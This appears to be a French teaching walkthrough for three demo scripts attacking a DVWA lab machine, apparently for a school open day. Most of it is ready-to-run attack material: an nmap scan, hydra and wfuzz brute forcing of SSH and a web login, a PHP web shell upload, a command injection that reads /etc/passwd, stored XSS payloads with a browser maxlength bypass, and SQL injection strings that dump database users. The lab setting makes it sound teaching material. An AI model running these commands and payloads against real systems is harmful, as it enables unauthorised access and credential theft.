# # Explication des démonstrations.

# # 1-Demosntration.sh

On scanne la machine (en théorie c’est potentiellement un réseau)

On regarde la machine (on peut avoir plus d’options pour plus d’informations mais cela prend plus de temps)

nmap 192.168.4.124

On dispose d’un fichier avec la liste des utilisateurs

cat users.txt

On dispose d’un fichier avec la liste des mots de passe classique

cat passwords.txt

echo lancement de l'attaque brute force sur le service SSH

hydra -L users.txt -P passwords.txt 192.168.4.124 -t 2 -s 22 ssh

# # 2-Demosntration.sh

On dispose d’un fichier avec la liste des repertoires

cat directory.txt

# **Scan de directory** sur la machine présente

wfuzz -w directory.txt -v http://192.168.4.124/FUZZ

# On trouve le cookie de session (via le navigateur web - explication des infos) pas présente sur JPO

# sur l'élément qui nous interesse

# PHPSESSID="1r14hj2f6imf6p86oe0utq1g9c"

# Le principe de **upload de fichier.**

On accède à la page

http://192.168.4.124/dvwa/vulnerabilities/upload/

On dépose le fichier shell.php

On accède au fichier via le lien de lecture des dépots :

# On lance l'attaque brute force sur la machine cible

<http://192.168.4.124/dvwa/hackable/uploads/shell.php>

On peux ensuite executer des commandes dans le formulaire

## **Attaque brute force sur une page web**

## avec wfuzz (avec et sans PHPSESSID)

#wfuzz -H "Cookie:PHPSESSID=${PHPSESSID}; \

# security=low" \

wfuzz -H "Cookie:security=low" \

--hs "Username and/or password incorrect." \

-c -z file,passwords.txt \

"http://192.168.4.124/dvwa/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login#"

## avec hydra (avec et sans PHPSESSID)

#http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=${PHPSESSID}; security=low :F=Username and/or password incorrect."

hydra 192.168.4.124 -l admin \

-P ./passwords.txt \

http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:security=low :F=Username and/or password incorrect."

# # 3-Demosntration.sh

# Consignes sur DVWA (navigateur)

## command injection : http://192.168.4.124/dvwa/vulnerabilities/exec/

8.8.8.8

8.8.8.8 && cat /etc/passwd

## XSS (Stored)

## faille de sécurité qui permet à un attaquant d'injecter dans un site web un code client malveillant

<script>alert('stored XSS');</script>

<script>window.location='https://www.eseo.fr/'</script>

# Cela ne marche pas il faut modifier le code sur le navigateur pour que cela marche (maxlenght>50).

- Shift + CTRL + J

- html -> body -> main-body -> body-padded -> vulnerable\_code\_area -> post -> 2em tr -> td

- changer maxlenght de 50 en 150 pour coller le code qui va bien

# Pour récupérer cela passer en mode security impossible pour faire ensuite le clear guestbook

## Injection SQL

## Idem mais dans du code SQL sous jacent.

1' OR '1=1

1' OR 1=1 UNION SELECT null,version()#

1' OR 1=1 UNION SELECT null,USER();#

1' OR 1=1 UNION SELECT null,user FROM mysql.user#